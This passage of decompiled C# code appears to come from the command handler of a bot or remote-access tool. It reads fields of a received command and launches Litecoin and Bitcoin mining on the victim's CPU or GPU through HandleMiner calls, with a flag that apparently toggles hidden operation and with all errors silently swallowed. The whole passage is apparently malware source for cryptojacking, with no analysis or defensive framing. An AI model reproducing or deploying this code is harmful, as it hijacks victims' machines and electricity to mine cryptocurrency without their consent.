                         }, null), null, "Length", new object[0], null, null, null), 1, false))
                         {
                             object left8 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left8, "0", false))
                             {
                                 HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left8, "1", false))
                             {
                                 HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                         }
                         else
                         {
                             object left9 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left9, "0", false))
                             {
                                 HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, "");
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left9, "1", false))
                             {
                                 HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, "");
                             }
                         }
                     }
                     else if (Operators.ConditionalCompareObjectEqual(left7, "1", false))
                     {
                         if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[]
                         {
                             6
                         }, null), null, "Length", new object[0], null, null, null), 1, false))
                         {
                             object left10 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left10, "0", false))
                             {
                                 HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left10, "1", false))
                             {
                                 HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                         }
                         else
                         {
                             object left11 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left11, "0", false))
                             {
                                 HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, "");
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left11, "1", false))
                             {
                                 HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, "");
                             }
                         }
                     }
                 }
                 else if (Operators.ConditionalCompareObjectEqual(left, "2", false))
                 {
                     object left12 = NewLateBinding.LateIndexGet(instance, new object[]
                     {
                         2
                     }, null);
                     if (Operators.ConditionalCompareObjectEqual(left12, "0", false))
                     {
                         if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[]
                         {
                             6
                         }, null), null, "Length", new object[0], null, null, null), 1, false))
                         {
                             object left13 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left13, "0", false))
                             {
                                 HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                                 HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left13, "1", false))
                             {
                                 HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                                 HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                         }
                         else
                         {
                             object left14 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left14, "0", false))
                             {
                                 HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, "");
                                 HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, "");
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left14, "1", false))
                             {
                                 HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, "");
                                 HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, "");
                             }
                         }
                     }
                     else if (Operators.ConditionalCompareObjectEqual(left12, "1", false))
                     {
                         if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[]
                         {
                             6
                         }, null), null, "Length", new object[0], null, null, null), 1, false))
                         {
                             object left15 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left15, "0", false))
                             {
                                 HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                                 HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left15, "1", false))
                             {
                                 HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                                 HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                         }
                         else
                         {
                             object left16 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left16, "0", false))
                             {
                                 HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, "");
                                 HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, "");
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left16, "1", false))
                             {
                                 HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, "");
                                 HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, "");
                             }
                         }
                     }
                 }
             }
         }
     }
     catch (Exception ex)
     {
     }
 }